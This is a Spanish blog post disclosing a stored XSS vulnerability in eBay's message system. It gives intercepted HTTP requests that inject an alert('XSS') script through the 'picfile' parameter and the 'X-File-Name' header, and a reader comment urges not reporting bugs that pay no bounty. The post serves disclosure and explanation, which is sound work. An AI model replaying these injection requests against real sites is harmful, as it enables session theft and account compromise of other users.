XSS persistente en el sistema de mensajes de eBay (notificado hace un año y todavía sin solucionar)

El sistema para el intercambio de mensajes entre usuarios de eBay contiene una vulnerabilidad XSS persistente que podría llevar al secuestro de sesiones. Lo peor es que Jaanus Kääp, su descubridor, avisó hace más de un año y a día de hoy sigue sin parchear.
Concretamente existen dos parámetros GET ("picfile" y "X-File-Name") en la petición que se genera al subir fotos que se pueden modificar para incluir código Javascript antes de llegar al usuario receptor seleccionado. El procedimiento es sencillo:

1. Envía un mensaje a alguien y haz clic en 'No se trata de un artículo'




2. Selecciona adjuntar fotos y sube un fichero (en mi prueba gato.jpg). Luego intercepta la petición mediante Burp o cualquier otro proxy.




3. Modifica el parámetro GET llamado "picfile" y la cabecera "X-File-Name" añadiendo un payload (para la PoC usaremos el clásico "</script><script>alert('XSS')</script>")

POST /ws/eBayISAPI.dll?ContactUserNextGen&messageType=4&sender=usuario&Action=Submit&Source=PicMan&itemId=0&receiver=2015eshir&picfile=gato</script><script>alert('XSS')</script>.jpg HTTP/1.1
Host: contact.ebay.es
User-Agent: Mozilla/5.0
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-File-Name: gato</script><script>alert('XSS')</script>.jpg
Content-Type: application/octet-stream
Referer: http://contact.ebay.es/ws/eBayISAPI.dll?ContactUserNextGen&recipient=2015eshir
Content-Length: 8884
Cookie: ....
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

4. Si todo ha ido bien la foto se habrá subido sin problemas. Introducimos el captcha y volvemos a interceptar la petición, modificando de nuevo el parámetro "picfile":



POST /ws/eBayISAPI.dll?ContactUserNextGen HTTP/1.1
Host: contact.ebay.es
User-Agent: Mozilla/5.0 
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://contact.ebay.es/ws/eBayISAPI.dll?ContactUserNextGen&recipient=2015eshir
Cookie: ....
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 375

cat=-99&recipient=2015eshir&actn=submit&msg_cnt=hola+joven&msg_cnt_cnt=hola+joven&imageUrls=%5B%7B%22mediaId%22%3A%225103507264%22%2C%22thumbnailUrl%22%3A%22http%3A%2F%2Fi.ebayimg.com%2F00%2Fs%2FMTgzWDI3NQ%3D%3D%2Fz%2FJpAAOSwPfdVQkIP%2F%24_0.JPG%3Fset_id%3D2%22%2C%22javaClass%22%3A%22java.util.HashMap%22%7D%5D&picfile=gato</script><script>alert('XSS')</script>.jpg&tokenText=533299&tokenString=bZe2AoAAAA%253D

5. Cuando el usuario acceda al mensaje (incluso el remitente en su carpeta de 'enviados') se ejecutará el código javascript del payload:



En conclusión parece increíble que después de un año eBay no haya tenido la *consideración* de solucionar esta vulnerabilidad. Viendo las respuestas a las peticiones HTTP parece que ahora la mayoría de las cookies tienen el flag HTTPonly por lo que el secuestro de sesiones se antoja algo más complicado. Pero eso no significa que no se pueda llegar a hacer o que no haya otros riesgos...


Fuente: Stored XSS in ebay messages filenames 

Comentarios

  1. Si la página no ofrece dinero lo mejor es no reportar nada.
    La mayoría de veces los admins no entienden el peligro que puede conllevar o simplemente no te dan ni las gracias pero a los pocos días parchean los errores...
    Llámame malvado o como quieras pero yo no reporto bugs.

    ResponderEliminar

Publicar un comentario